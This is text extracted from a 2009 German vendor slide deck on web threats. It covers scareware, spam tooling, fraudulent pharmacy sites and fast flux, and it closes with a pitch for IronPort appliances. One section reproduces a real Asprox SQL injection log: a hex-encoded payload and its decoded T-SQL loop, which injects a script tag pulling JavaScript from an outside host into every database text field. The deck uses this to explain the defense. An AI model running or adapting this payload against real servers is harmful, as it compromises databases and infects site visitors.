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Quellen

� Dieser Vortrag basiert auf der Networkers Session von Patrick 
Peterson: BRKSEC 2052 Barcelona
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Econis – Ihr starker IT-Partner

� Topanbieter von IT-Dienstleistungen in 
der Schweiz 

� Einzigartiges Lösungs- und 
Serviceportfolio

� Höchster Partnerstatus mit 
Zertifizierungen für Cisco Systems, IBM 
und Microsoft
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und Microsoft

� Seit 1997 erfolgreich im Markt

� 68 Mitarbeiterinnen und Mitarbeiter

� Standorte: Dietikon, Lyss BE

� Luzern



Agenda

� Web 2.0, die Geldmaschine

� Heutige Methoden, Attacken und Gefahren im Web 2.0

� Problemanalyse
� Social Engineering

� Webseiteninhalt

� Schwächen des Webbrowsers

� Schwächen von Virenschutzlösungen� Schwächen von Virenschutzlösungen

� Schwächen von Webbrowsern

� Beispiele wie Malware über SQL Injection verteilt wird

� Verfügbare Lösungen für Client und Gateway Websecurity

Quellen: Dieser Vortrag basiert auf der Networkers Session von Patrick Peterson: BRKSEC 2052 Barcelona
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Wie kann übers Internet Geld 
gemacht werden?



Der Amateur

� $60K from Adware on 400K PCs

� Loudcash (now ZangoCash)
� $0.40 per install� $0.40 per install

“Every day 7,500-10,000 
ZangoCash affiliates distribute 
our software to users who are 
then connected with more than 
6,000 MetricsDirect advertisers.”

Jeanson James Ancheta
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The Professional

Smartbot.Net Malware

� Opened CD-ROM tray

� “If your cd-rom drive’s open . . 
.you desperately need to rid .you desperately need to rid 
your system of spyware pop-
ups immediately!  Download 
Spy Wiper now!”

� Spy Wiper and Spy Deleter 
sold for $30

$4M FTC judgment

Sanford Wallace

13.05.2009 - Seite 7 -© Econis AG 2009



Beispiel Scareware

� Infiziert über Social Engineering
� Benutzer installiert selbst

� Infiziert über Emails, welche auf infizierte Websites leiten. 

� Infiziert über “trusted” Website, welche mittels SQL-injection 
verseucht wurde
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Social Engineering Scareware Spyware
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Vorgespielter Scan empfiehlt Virenschutz

“Antivirus XP has found 2794 threats. It is 

recommended to proceed with removal”
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Lokationsbasierte Währung im Shop

Nach dem Scan wird eine Website ohne “close button” geöffnet. Es kann eine Antivirensoftware
erworben werden. 
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Desktop wird angepasst
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Anpassung am Controlcenter

Desktop und Bildschirmschoner Tab wird vom Controlcenter entfernt
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Untersuchung von Joe Stewart

•Hat das Programm AV funktionalität? ���� Viren- und Malwareprotection (minimal)

•Was passiert, wenn man bezahlt? ���� Screensaver, Buttons, Popups werden entfernt

•Wohin geht das Geld? ���� Affiliate im Schneeballsystem 60%-90% Kommission

•Wer steckt dahinter? ���� Verschiedene Affiliate Programme

•Wieviel Geld verdienen sie?

Source: http://www.secureworks.com/research/threats/rogue-antivirus-part-2/?threat=rogue-antivirus-part-2
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Heutige Methoden, Attacken und 
Gefahren im Web 2.0



Gefahren im Web 2.0

� Botnet Tools um Spam zu versenden (Revolution Mailer)

� Tools um Email Accounts zu generieren, CAPTCHAs, IP Rotation
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Gefahren im Web 2.0

� Multi-site Account Creator – Gmail

“It is STRONGLY recommended to use proxies for 
creating multiple accounts to avoid getting BANNED 
by Gmail”
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CAPTCHAs?

� Completely Automated Public Turing test to tell Computers and 
Humans Apart

� Weite Verbreitung von CAPTCHAs hat Verbesserung gebracht

� Antwort: Automatisiertes und manuelles CAPTCHA-solving

� Remote CAPTCHA client� Remote CAPTCHA client

� 1000 CAPTCHAs für $1

� Wopla and Hotlan botnets
Welcome to our service!

We offer you a unique, open to general use of the service manal recognition CAPTCHA ( Completely Automatic 

Public

Turing Test to Tell Computers and Humans Apart) – pictures with code designed to protect owners of various web 

sites

from automatic registration.

With us working tens of thousands of people from all over the world who are ready for a small fee for your 

povvodit on the

proposed text with your pictures.
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AllBots.info

� Mehr als 100 Produkte um Web 2.0 Service anzugreifen
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Problemanalyse



Social Engineering
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Aktuelle Beispiele von Social Engineering
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Webseiteninhalt
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Webseiteninhalt

� Wirklicher Standort

1592 Wilson Avenue
Toronto, ON M3L 1A6
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Webseiteninhalt

� 18 betrügerische Elemente auf der Webseite

� Falsches Zertifikat

� “All orders are received via a secure server”—kein HTTPS 

� Gefälschtes Verisign Logo

� Gefälschtes BBB logo

� Gefälschtes pharmacy checker rating

� Gefälschte Canadian International Pharmacy (CIPA) license � Gefälschte Canadian International Pharmacy (CIPA) license 
number

� Gefälschtes “Verified by Visa” Logo
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Webseitenzusammensetzung

� Webseiten sind aus verschiedenen Objekten zusammengesetzt

� HTML Code sagt aus, welche Objekte von anderen Servern
eingebunden werden sollen. 

� Jedes Objekt wird mit eigener HTTP Session übertragen. 

Einzelne Objekte
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MyCanadianPharmacy

1. Registered domain bigamousetract.info

� Registered with 1-877namebid.com

� Registered by Tobyann Ellis in Longview, WA

� +68 phone number, dublin.com email

2. DNS servers
� ‘NS’ Records point to DNS servers in Taiwan, Spain, US, Brazil

� ‘A’ Record for web server points to Korean Telecom IP� ‘A’ Record for web server points to Korean Telecom IP

3. Web server
� bigamousetract.info server on Korean Telecom network

� Web site images from Brazil, Slovenia, France, Greece, Netherlands

� Spammers obfuscate web site connection using redirectors, framing, scripting, 
zombie proxies

4. Using “Fast Flux”

� Lokation des Webservers und des DNS servers wechselt alle 5 Minuten
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Schwächen des Webbrowsers

� IE and Firefox vulnerable
� “…hundreds of vulnerabilities in ActiveX controls installed by software 

vendors have been discovered.”

SANS Top 20 2007 Security Risks

http://www.sans.org/top20/#c1

� Media Players & Browser Helper Objects (BHO)
� RealPlayer, iTunes, Flash, Quicktime, Windows Media

� Explosion of BHOs and third-party plug-ins 

� Plug-ins are installed (semi) transparently by website. Users unaware an 
at-risk helper object or plug-in is installed … introducing more avenues for 
hackers to exploit users visiting malicious web sites.
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Schwächen von Virenschutzlösungen

# of unique Malware samples in 2006: 972K

# of unique Malware samples in 2007: 5.5M
500% increase in 12 Months
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Musterbasierte Virenschutz Lösungen

� 195 Virus tools bei VX Heavens vx.netlux.org
� Beispiel: NGVCK (Next Generation Virus Creation Kit)

� Poly/Metamorphic Tools erzeugen zufällige Viren

13.05.2009 - Seite 30 -© Econis AG 2009



30% Erfolgsrate bei Mpack Trojaner

Source:  Source:  VirusTotalVirusTotal scan of scan of MpackMpack malwaremalware
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“Die Hälfte der vulnerabilities im letzten Jahr
gehen auf Schwächen von Webapplikationen
zurück. Diese vulnerabilities werden missbraucht
um “Trusted Sites” mit Schadcode zu versehen. 

Schwachstellen von Webserver

um “Trusted Sites” mit Schadcode zu versehen. 
Dadurch können Clients verseucht und phishing 
Attacken gefahren werden. 

SANS Top 20 2007 Security Risks

http://www.sans.org/top20/#c1
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2007-12-30 18:22:46 POST /crappyoutsourcedCMS.asp;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST

(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C00400043002000760061
00720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073
006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C006
2002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C007300790073006300
6F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200
061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F
007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F
007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F004300750072

HTTP Post made to thousands of web servers

SQL Injection

007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F004300750072
0073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F00430075
00720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048
005F005300540041005400550053003D0030002900200042004500470049004E0020006500780065006300280027007500700064006100740065
0020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00
280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270
027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F0063002E007500630038003000310030002E
0063006F006D002F0030002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004
E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000
400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F007200200
04400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20NVARCHAR(40
00));

EXEC(@S);–178|80040e14|Unclosed_quotation_mark_before_the_character_string_’G;DECLARE_@S_NVARCHAR(4000);

SET_@S=CAST(0×4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000
43002000′. - 202.101.162.73 HTTP/1.0 Mozilla/3.0+(compatible;+Indy+Library) - 500 15248
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DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name

from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or 
b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set 
['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://c.uc8010.com/0.js></script>''')FETCH NEXT 
FROM

Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T 

Decoding ‘CAST’ values

SQL Injection

Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor DECLARE @T 
varchar(255),@C

Eine erfolgreiche Attacke fügt diese Zeile in Datenbankfelder ein. 

<script src=http://?.uc8010.com/0.js></script>
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Attacke auf BusinessWeek.com

Asprox Botnet
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Betroffene Website

Loading 
qiqi111.cn
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Was wurde verändert?

� bad-waldsee.de registered at DENIC before 2003

� Hosted at 80.237.213.92 on Hosteurope in Cologne

• Browser gets IFRAME, runs m.js javascript at qiqi111.cn

• qiqi111.cn is Chinese website hosted in China

• Registered at 北京万网志成科技有限公司北京万网志成科技有限公司北京万网志成科技有限公司北京万网志成科技有限公司 in 2008
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Lösungen



Aber wir haben ja Firewalls, IPS, Anti-Virus und URL 
filtering?

� Firewalls blockieren Port 25 oder gültige HTTP(S) Anfragen nicht
� IPS kann kein Social Engineering verhindern
� Laufend werden neue Angriffsmuster entwickelt
� Antivirus ist sehr ineffizinet aufgrund von mutierenden Viren

390 LdPinch Signaturen seit dem Original von 2003
Mehr als 30,000 Bagel Varianten

� URL filtering kann nicht unendlich viele Quellen kategorisieren. 
� URL filtering kann nicht verhindern, dass Vertrauenswürdige Sites gehackt 

werden werden 
� Mobilität
� Benutzer installieren selbst und umgehen Securitymassnahmen
� Einmal infiziert versteckt sich die Malware
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Schutz der Webserver

� Web Application Firewall

� TCP Terminierung

� Schutz vor den bekannten Angriffen wie SQL-
Injektionen, OS Command Injections, Cross-Site-
Scripting-Angriffen, Buffer Overflows, DoS, 
Scanning und anderen Attacken

� Optional Loadbalancing

� Optional SSL Offload
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Realtime Monitoring (Layer 4)

� Aktivitäten erkennen

13.05.2009 - Seite 41 -© Econis AG 2009



Application Layer Inspektion
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Web Reputation Filters
Data Makes the Difference

• URL Blacklists 

• URL Whitelists

• URL Categorization Data

• HTML Content Data

• URL Behavior 

• Global Volume Data

• Domain Registrar Information

Parameter

THREAT PREVENTION IN REAL TIME

SenderBase
Data

• Dynamic IP Addresses 

• Compromised Host Lists

• Web Crawler Data 

• Network Owners

• Known Threats URLs

• Offline data (F500, G2000…)

• Website History

Data Analysis/
Security Modeling

Web Reputation
Scores (WBRS)

-10 to +10

Addresses Known and Unknown Sites
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Empfehlungen

� Firewalls, IPS, Antivirus, URL filtering alleine genügen nicht

� Messen des Infizierungsgrades (Netzwerklayer)
Initial infection level and ongoing as security improved

Identify root causes

� Messen des Datenverlustes

� Technologien werden sich schnell verändern

� Es braucht eine Plattform, welche einfach angepasst werden kann� Es braucht eine Plattform, welche einfach angepasst werden kann

� Ausbreiten von integrierter Netzwerk und Applikations Layer 
Securitylösungen 
� Web reputation, URL filtering, Signaturen

� Überprüfen der Clientlösungen
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IronPort S-Serie

� L4 Traffic Monitor um infizierte PCs zu detektieren

� URL filtering um bekannte, gefährliche Seiten zu sperren

� Web Reputation für den “Long Tail”

� Anti-Malware System um den Inhalt zu überprüfen

� DLP

� HTTP, HTTPS, FTP

IronPort Web Security Appliance

Next Generation Web Security Platform
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Fragen??



Herzlichen Dank!!


